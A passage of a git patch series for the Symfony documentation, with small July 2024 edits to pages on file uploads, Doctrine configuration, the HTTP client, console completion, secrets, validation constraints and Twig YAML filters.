index 6fb0bbf3883..b122b76c71a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -185,7 +185,7 @@ using the service configuration:
         _defaults:
             # ...
             bind:
-                $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
+                string $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
 
 There are some important things to consider in the code of the above controller:
 

From 55d376f60d2ff6090ca59d284337f89876ecc44f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jul 2024 17:59:22 +0200
Subject: [PATCH 6224/7107] Reword code to use the Autowire attribute

---
 controller/upload_file.rst | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 7958f71a22d..dff5453509a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -120,6 +120,7 @@ Finally, you need to update the code of the controller that handles the form::
     use App\Entity\Product;
     use App\Form\ProductType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\HttpFoundation\File\Exception\FileException;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
@@ -130,7 +131,11 @@ Finally, you need to update the code of the controller that handles the form::
     class ProductController extends AbstractController
     {
         #[Route('/product/new', name: 'app_product_new')]
-        public function new(Request $request, SluggerInterface $slugger, string $brochuresDirectory): Response
+        public function new(
+            Request $request,
+            SluggerInterface $slugger,
+            #[Autowire('%kernel.project_dir%/public/uploads/brochures')] string $brochuresDirectory
+        ): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);
@@ -171,18 +176,6 @@ Finally, you need to update the code of the controller that handles the form::
         }
     }
 
-Now, bind the ``$brochuresDirectory`` controller argument to its actual value
-using the service configuration:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        _defaults:
-            # ...
-            bind:
-                string $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
-
 There are some important things to consider in the code of the above controller:
 
 #. In Symfony applications, uploaded files are objects of the

From d6390bae3003bc6fd4036950c6d1bac1e59aa17c Mon Sep 17 00:00:00 2001
From: Thomas P <ScullWM@users.noreply.github.com>
Date: Wed, 17 Jul 2024 18:44:36 +0200
Subject: [PATCH 6225/7107] Update service_subscribers_locators.rst

Fix defaultIndexMethod attribute typo
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index ec57eb8f12b..da5cb415800 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -792,7 +792,7 @@ get the value used to index the services:
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
+                #[TaggedLocator('app.handler', defaultIndexMethod: 'getLocatorKey')]
                 private ContainerInterface $locator,
             ) {
             }

From 47279ab422ce618a328db6f7ba96cc2efa80ad93 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Jul 2024 12:12:22 +0200
Subject: [PATCH 6226/7107] fix typos

---
 components/type_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index f6b5e84a0f5..30ae11aa222 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -63,14 +63,14 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example i returns an "array" Type instance);
+    // returns the main type (e.g. in this example it returns an "array" Type instance);
     // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
     // and for compound types (e.g. int|string) it throws an exception because both types
     // can be considered the main one, so there's no way to pick one
     $baseType = $type->getBaseType();
 
     // for collections, it returns the type of the item used as the key;
-    // in this example, the collection is a list, so it returns and "int" Type instance
+    // in this example, the collection is a list, so it returns an "int" Type instance
     $keyType = $type->getCollectionKeyType();
 
     // you can chain the utility methods (e.g. to introspect the values of the collection)

From 1a22c51eedd9e685ed0cf080f56c484610a75492 Mon Sep 17 00:00:00 2001
From: Cosmin Sandu <cosmin@foodomarket.com>
Date: Fri, 19 Jul 2024 13:17:01 +0300
Subject: [PATCH 6227/7107] issues/20050 Remove Doctrine mappings YML from
 documentation https://github.com/symfony/symfony-docs/issues/20050

---
 reference/configuration/doctrine.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 288a088b47a..5d717363301 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -269,9 +269,14 @@ you can control. The following configuration options exist for a mapping:
 ........
 
 One of ``annotation`` (for PHP annotations; it's the default value),
-``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
+``attribute`` (for PHP attributes), ``xml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+.. deprecated:: ORM 3.0
+
+    The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
+
+
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
 ``dir``

From 54fc8f95dae1c7af7a91a245b9f55a91b2210645 Mon Sep 17 00:00:00 2001
From: Maximilian Ruta <maximilian.ruta@comin-glasfaser.de>
Date: Tue, 16 Jul 2024 14:36:48 +0200
Subject: [PATCH 6228/7107] Document possibility to use user:pass for basic
 auth

---
 http_client.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index c8c3094375a..709612b9101 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -487,6 +487,11 @@ each request (which overrides any global authentication):
         // ...
     ]);
 
+.. note::
+
+    Basic Authentication can be set by authority in the URL, like
+    http://user:pass@example.com/.
+
 .. note::
 
     The NTLM authentication mechanism requires using the cURL transport.

From ffe0c155516d1f9fb79a7dc00605fe552bd87396 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jul 2024 12:28:45 +0200
Subject: [PATCH 6229/7107] Minor tweak

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 709612b9101..067021637a0 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -489,8 +489,8 @@ each request (which overrides any global authentication):
 
 .. note::
 
-    Basic Authentication can be set by authority in the URL, like
-    http://user:pass@example.com/.
+    Basic Authentication can also be set by including the credentials in the URL,
+    such as: ``http://the-username:the-password@example.com``
 
 .. note::
 

From 16c9fdb2b0ea5b647cdb1f7904d85b67f983beef Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Jul 2024 12:47:06 +0200
Subject: [PATCH 6230/7107] use the ref role for internal links

---
 reference/events.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index 411e5e327f5..57806ee8f8d 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -56,8 +56,8 @@ their priorities:
 
 This event is dispatched after the controller has been resolved but before executing
 it. It's useful to initialize things later needed by the
-controller, such as `value resolvers`_, and even to change the controller
-entirely::
+controller, such as :ref:`value resolvers <managing-value-resolvers>`, and
+even to change the controller entirely::
 
     use Symfony\Component\HttpKernel\Event\ControllerEvent;
 
@@ -296,5 +296,3 @@ their priorities:
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher kernel.exception
-
-.. _`value resolvers`: https://symfony.com/doc/current/controller/value_resolver.html#managing-value-resolvers

From a7d15402af186e82d6eb6f03c2be84e31118ba1e Mon Sep 17 00:00:00 2001
From: Cosmin SANDU <contact@cosminsandu.ro>
Date: Fri, 19 Jul 2024 14:05:42 +0300
Subject: [PATCH 6231/7107] Update reference/configuration/doctrine.rst

Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com>
---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 5d717363301..de176822c1f 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -272,7 +272,7 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 ``attribute`` (for PHP attributes), ``xml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
-.. deprecated:: ORM 3.0
+.. deprecated:: 3.0
 
     The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
 

From d09a5ba5aa8e1461de0ff2b6c11002b67b01f057 Mon Sep 17 00:00:00 2001
From: Cosmin Sandu <cosmin@foodomarket.com>
Date: Fri, 19 Jul 2024 14:25:34 +0300
Subject: [PATCH 6232/7107] issues/20050 Remove Doctrine mappings YML from
 documentation try to fix CI

---
 .doctor-rst.yaml                     | 1 +
 reference/configuration/doctrine.rst | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3602a9787c0..93d90a1df9f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -109,5 +109,6 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '.. versionadded:: 3.5' # Monolog
+        - '.. versionadded:: 3.0' # Doctrine ORM
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index de176822c1f..79bd5458d67 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -272,7 +272,7 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 ``attribute`` (for PHP attributes), ``xml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
-.. deprecated:: 3.0
+.. versionadded:: 3.0
 
     The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
 

From 08f43e57bf101e162f64692b390fcf4f3ea07781 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Jul 2024 13:28:01 +0200
Subject: [PATCH 6233/7107] use a custom batch size

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 03e09b8260a..d49180a358e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2644,7 +2644,7 @@ provided in order to ease the declaration of these special handlers::
         // of the trait to define your own batch size...
         private function shouldFlush(): bool
         {
-            return $this->getBatchSize() <= \count($this->jobs);
+            return 100 <= \count($this->jobs);
         }
 
         // ... or redefine the `getBatchSize()` method if the default

From a51bc508aa3c34cef799222119e1a29f76696cfd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Jul 2024 14:59:49 +0200
Subject: [PATCH 6234/7107] Remove the shouldFlush() method

---
 messenger.rst | 11 ++---------
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index d49180a358e..7e26cb9b4da 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2640,15 +2640,8 @@ provided in order to ease the declaration of these special handlers::
             }
         }
 
-        // Optionally, you can either redefine the `shouldFlush()` method
-        // of the trait to define your own batch size...
-        private function shouldFlush(): bool
-        {
-            return 100 <= \count($this->jobs);
-        }
-
-        // ... or redefine the `getBatchSize()` method if the default
-        // flush behavior suits your needs
+        // Optionally, you can override some of the trait methods, such as the
+        // `getBatchSize()` method, to specify your own batch size...
         private function getBatchSize(): int
         {
             return 100;

From 52f1f00732decffa92747d2c611366bd886509fc Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Sat, 20 Jul 2024 17:07:55 +0200
Subject: [PATCH 6235/7107] Document Symfony CLI autocompletion

---
 console.rst              |  9 +++++++++
 setup/symfony_server.rst | 11 +++++++++++
 2 files changed, 20 insertions(+)

diff --git a/console.rst b/console.rst
index e414ed15ced..65564e578de 100644
--- a/console.rst
+++ b/console.rst
@@ -103,6 +103,15 @@ options by pressing the Tab key.
 
         $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan
 
+.. tip::
+
+    If you are using the :doc:`Symfony local web server
+    </setup/symfony_server>`, it is recommended to use the builtin completion
+    script that will ensure the right PHP version and configuration is used when
+    running the Console Completion. Run ``symfony completion --help`` for the
+    installation instructions for your shell. The Symfony CLI will provide
+    completion for the ``console`` and ``composer`` commands.
+
 Creating a Command
 ------------------
 
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5fa3e430b1c..e241279fc95 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -17,6 +17,17 @@ Installation
 The Symfony server is part of the ``symfony`` binary created when you
 `install Symfony`_ and has support for Linux, macOS and Windows.
 
+.. tip::
+
+    The Symfony CLI supports auto completion for Bash, Zsh or Fish shells. You
+    have to install the completion script *once*. Run ``symfony completion
+    --help`` for the installation instructions for your shell. After installing
+    and restarting your terminal, you're all set to use completion (by default,
+    by pressing the Tab key).
+
+    The Symfony CLI will also provide completion for the ``composer`` command
+    and for the ``console`` command if it detects a Symfony project.
+
 .. note::
 
    You can view and contribute to the Symfony CLI source in the

From c13b4f299d334612208fd247188f2b946cb6846e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jul 2024 08:39:11 +0200
Subject: [PATCH 6236/7107] Minor tweaks

---
 console.rst              | 4 ++--
 setup/symfony_server.rst | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index 65564e578de..60d53d0c056 100644
--- a/console.rst
+++ b/console.rst
@@ -106,8 +106,8 @@ options by pressing the Tab key.
 .. tip::
 
     If you are using the :doc:`Symfony local web server
-    </setup/symfony_server>`, it is recommended to use the builtin completion
-    script that will ensure the right PHP version and configuration is used when
+    </setup/symfony_server>`, it is recommended to use the built-in completion
+    script that will ensure the right PHP version and configuration are used when
     running the Console Completion. Run ``symfony completion --help`` for the
     installation instructions for your shell. The Symfony CLI will provide
     completion for the ``console`` and ``composer`` commands.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index e241279fc95..f8b7c6e35c4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -19,7 +19,7 @@ The Symfony server is part of the ``symfony`` binary created when you
 
 .. tip::
 
-    The Symfony CLI supports auto completion for Bash, Zsh or Fish shells. You
+    The Symfony CLI supports auto completion for Bash, Zsh, or Fish shells. You
     have to install the completion script *once*. Run ``symfony completion
     --help`` for the installation instructions for your shell. After installing
     and restarting your terminal, you're all set to use completion (by default,

From fa572ee1d7fd2cea6717ab3a52a93d30d536c04b Mon Sep 17 00:00:00 2001
From: Petrisor Ciprian Daniel <dciprian.petrisor@gmail.com>
Date: Fri, 19 Jul 2024 23:31:27 +0300
Subject: [PATCH 6237/7107] [Config] Secrets decrypt exit option

---
 configuration/secrets.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index f717456a22c..b16c36643aa 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -271,11 +271,20 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
 
    .. code-block:: terminal
 
-       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
+       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force --exit
 
    This will write all the decrypted secrets into the ``.env.prod.local`` file.
    After doing this, the decryption key does *not* need to remain on the server(s).
 
+   Note the usage of the ``--exit`` option: this forces all secrets to be successfully
+   decrypted, otherwise a non-zero exit code is returned.
+
+   If you wish to continue regardless of errors occurring during decryption, you may omit this option.
+
+   .. versionadded:: 7.2
+
+    The ``--exit`` option was introduced in Symfony 7.2.
+
 Rotating Secrets
 ----------------
 

From 97103298ebabb6f3fb5c015450e1d8f893149bca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jul 2024 09:03:49 +0200
Subject: [PATCH 6238/7107] Tweaks

---
 configuration/secrets.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index b16c36643aa..734873b255c 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -276,14 +276,16 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
    This will write all the decrypted secrets into the ``.env.prod.local`` file.
    After doing this, the decryption key does *not* need to remain on the server(s).
 
-   Note the usage of the ``--exit`` option: this forces all secrets to be successfully
-   decrypted, otherwise a non-zero exit code is returned.
+   Note the usage of the ``--exit`` option: this ensures that all secrets are
+   successfully decrypted. If any error occurs during the decryption process,
+   the command will return a non-zero exit code, indicating a failure.
 
-   If you wish to continue regardless of errors occurring during decryption, you may omit this option.
+   If you wish to continue regardless of errors occurring during decryption,
+   you may omit this option.
 
    .. versionadded:: 7.2
 
-    The ``--exit`` option was introduced in Symfony 7.2.
+       The ``--exit`` option was introduced in Symfony 7.2.
 
 Rotating Secrets
 ----------------

From 8e1d67b18758832865b51fd28066018cfc34b9ac Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 22 Jul 2024 15:16:47 +0200
Subject: [PATCH 6239/7107] drop the --exit option

---
 configuration/secrets.rst | 13 +------------
 1 file changed, 1 insertion(+), 12 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 734873b255c..f717456a22c 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -271,22 +271,11 @@ manually store this file somewhere and deploy it. There are 2 ways to do that:
 
    .. code-block:: terminal
 
-       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force --exit
+       $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
 
    This will write all the decrypted secrets into the ``.env.prod.local`` file.
    After doing this, the decryption key does *not* need to remain on the server(s).
 
-   Note the usage of the ``--exit`` option: this ensures that all secrets are
-   successfully decrypted. If any error occurs during the decryption process,
-   the command will return a non-zero exit code, indicating a failure.
-
-   If you wish to continue regardless of errors occurring during decryption,
-   you may omit this option.
-
-   .. versionadded:: 7.2
-
-       The ``--exit`` option was introduced in Symfony 7.2.
-
 Rotating Secrets
 ----------------
 

From 7a0e90898e46246d9c37027997ae4a155d67cb57 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jul 2024 17:43:27 +0200
Subject: [PATCH 6240/7107] Minor tweak

---
 reference/configuration/doctrine.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 79bd5458d67..5ee35e63288 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -274,8 +274,7 @@ One of ``annotation`` (for PHP annotations; it's the default value),
 
 .. versionadded:: 3.0
 
-    The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0.
-
+    The ``yml`` mapping configuration is deprecated and was removed in Doctrine ORM 3.0.
 
 See `Doctrine Metadata Drivers`_ for more information about this option.
 

From ce65dc602a289a4443daf42bcb4bd4ad199e1b35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jul 2024 10:40:43 +0200
Subject: [PATCH 6241/7107] Minor tweak

---
 testing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index b1692c956ea..5116d53a04c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -97,7 +97,8 @@ You can run tests using the ``bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/``, ``tests/Integration/`` and ``tests/Application/``).
+    each type of test (``tests/Unit/``, ``tests/Integration/``,
+    ``tests/Application/``, etc.).
 
 .. _integration-tests:
 

From 27a06be851c41d4a67c78c1fa63c47892823d620 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 23 Jul 2024 11:06:19 +0200
Subject: [PATCH 6242/7107] drop type-hints for properties where the Type
 constraint is used

---
 reference/constraints/Type.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index f10d1423997..732247e0b5a 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -33,19 +33,19 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         class Author
         {
             #[Assert\Type(Address::class)]
-            protected Address $emailAddress;
+            protected $emailAddress;
 
             #[Assert\Type('string')]
-            protected string $firstName;
+            protected $firstName;
 
             #[Assert\Type(
                 type: 'integer',
                 message: 'The value {{ value }} is not a valid {{ type }}.',
             )]
-            protected int $age;
+            protected $age;
 
             #[Assert\Type(type: ['alpha', 'digit'])]
-            protected string $accessCode;
+            protected $accessCode;
         }
 
     .. code-block:: yaml

From d7071c7ed801a36963d0e4535a16532f778b7726 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jul 2024 16:19:09 +0200
Subject: [PATCH 6243/7107] Minor tweak

---
 reference/constraints/Type.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 732247e0b5a..b0a3dad4552 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -14,7 +14,11 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
+This constraint should be applied to untyped variables/properties. If a property
+or variable is typed and you pass a value of a different type, PHP will throw an
+exception before this constraint is checked.
+
+The following example checks if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using

From 346ea4bc6bf67bbaa6c0702edfefc1c83a0bfb53 Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Thu, 7 Mar 2024 14:24:36 +0100
Subject: [PATCH 6244/7107] [Twig] [twig reference] add examples in yaml part

---
 reference/twig_reference.rst | 73 +++++++++++++++++++++++++++++++++++-
 1 file changed, 71 insertions(+), 2 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 97ee6a57185..fdb9e27ccf2 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -483,8 +483,43 @@ yaml_encode
 ``dumpObjects`` *(optional)*
     **type**: ``boolean`` **default**: ``false``
 
-Transforms the input into YAML syntax. See :ref:`components-yaml-dump` for
-more information.
+Transforms the input into YAML syntax.
+
+The ``inline`` argument is the level where you switch to inline YAML:
+
+.. code-block:: twig
+
+    {% set array = {
+        'a': {
+            'c': 'e'
+        },
+        'b': {
+            'd': 'f'
+        }
+    } %}
+
+    {{ array|yaml_encode(inline = 0) }}
+    {# output: { a: { c: e }, b: { d: f } } #}
+
+    {{ array|yaml_encode(inline = 1) }}
+    {# output: a: { c: e } b: { d: f } #}
+
+The ``dumpObjects`` argument is used to dump objects::
+
+    // ...
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    // ...
+
+.. code-block:: twig
+
+    {{ object|yaml_encode(dumpObjects = false) }}
+    {# output: null #}
+
+    {{ object|yaml_encode(dumpObjects = true) }}
+    {# output: !php/object 'O:8:"stdClass":1:{s:5:"foo";s:7:"bar";}' #}
+
+See :ref:`components-yaml-dump` for more information.
 
 yaml_dump
 ~~~~~~~~~
@@ -503,6 +538,40 @@ yaml_dump
 Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in
 the output.
 
+The ``inline`` argument is the level where you switch to inline YAML:
+
+.. code-block:: twig
+
+    {% set array = {
+        'a': {
+            'c': 'e'
+        },
+        'b': {
+            'd': 'f'
+        }
+    } %}
+
+    {{ array|yaml_dump(inline = 0) }}
+    {# output: %array% { a: { c: e }, b: { d: f } } #}
+
+    {{ array|yaml_dump(inline = 1) }}
+    {# output: %array% a: { c: e } b: { d: f } #}
+
+The ``dumpObjects`` argument is used to dump objects::
+
+    // ...
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    // ...
+
+.. code-block:: twig
+
+    {{ object|yaml_dump(dumpObjects = false) }}
+    {# output: %object% null #}
+
+    {{ object|yaml_dump(dumpObjects = true) }}
+    {# output: %object% !php/object 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}' #}
+
 abbr_class
 ~~~~~~~~~~
 

From 56d08154cf856b47fd6611996d34e01d0b62e6a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jul 2024 17:16:21 +0200
Subject: [PATCH 6245/7107] Minor tweaks

---
 reference/twig_reference.rst | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index fdb9e27ccf2..4a51940b96e 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -485,7 +485,7 @@ yaml_encode
 
 Transforms the input into YAML syntax.
 
-The ``inline`` argument is the level where you switch to inline YAML:
+The ``inline`` argument is the level where the generated output switches to inline YAML:
 
 .. code-block:: twig
 
@@ -499,12 +499,15 @@ The ``inline`` argument is the level where you switch to inline YAML:
     } %}
 
     {{ array|yaml_encode(inline = 0) }}
-    {# output: { a: { c: e }, b: { d: f } } #}
+    {# output:
+       { a: { c: e }, b: { d: f } } #}
 
     {{ array|yaml_encode(inline = 1) }}
-    {# output: a: { c: e } b: { d: f } #}
+    {# output:
+       a: { c: e }
+       b: { d: f } #}
 
-The ``dumpObjects`` argument is used to dump objects::
+The ``dumpObjects`` argument enables the dumping of PHP objects::
 
     // ...
     $object = new \stdClass();
@@ -538,7 +541,7 @@ yaml_dump
 Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in
 the output.
 
-The ``inline`` argument is the level where you switch to inline YAML:
+The ``inline`` argument is the level where the generated output switches to inline YAML:
 
 .. code-block:: twig
 
@@ -552,12 +555,15 @@ The ``inline`` argument is the level where you switch to inline YAML:
     } %}
 
     {{ array|yaml_dump(inline = 0) }}
-    {# output: %array% { a: { c: e }, b: { d: f } } #}
+    {# output:
+       %array% { a: { c: e }, b: { d: f } } #}
 
     {{ array|yaml_dump(inline = 1) }}
-    {# output: %array% a: { c: e } b: { d: f } #}
+    {# output:
+       %array% a: { c: e }
+       b: { d: f } #}
 
-The ``dumpObjects`` argument is used to dump objects::
+The ``dumpObjects`` argument enables the dumping of PHP objects::
 
     // ...
     $object = new \stdClass();

From 97bfcfc06cc4bf6043762575ac2db7484eb3fdad Mon Sep 17 00:00:00 2001
From: faissaloux <fwahabali@gmail.com>
Date: Sat, 25 Nov 2023 00:30:54 +0100
Subject: [PATCH 6246/7107] Update `Create Framework / Unit Testing` page

---
 create_framework/unit_testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 916711de0ce..e39c96b9035 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit
+    $ composer require --dev phpunit/phpunit:^9.6
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,7 +21,7 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.6/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"

From 6bffd6016e801445a468dfc538fd87aa1826e79e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 29 Feb 2024 12:25:00 +0100
Subject: [PATCH 6247/7107] [AssetMapper] Adding info about deleting compiled
 assets

---
 frontend/asset_mapper.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c8febf65757..8f7ac2c869a 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -81,7 +81,7 @@ Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
-is handled and returned by your Symfony app.
+is handled and returned by your Symfony app - but only if ``public/assets/`` is empty (see below).
 
 For the ``prod`` environment, before deploy, you should run:
 
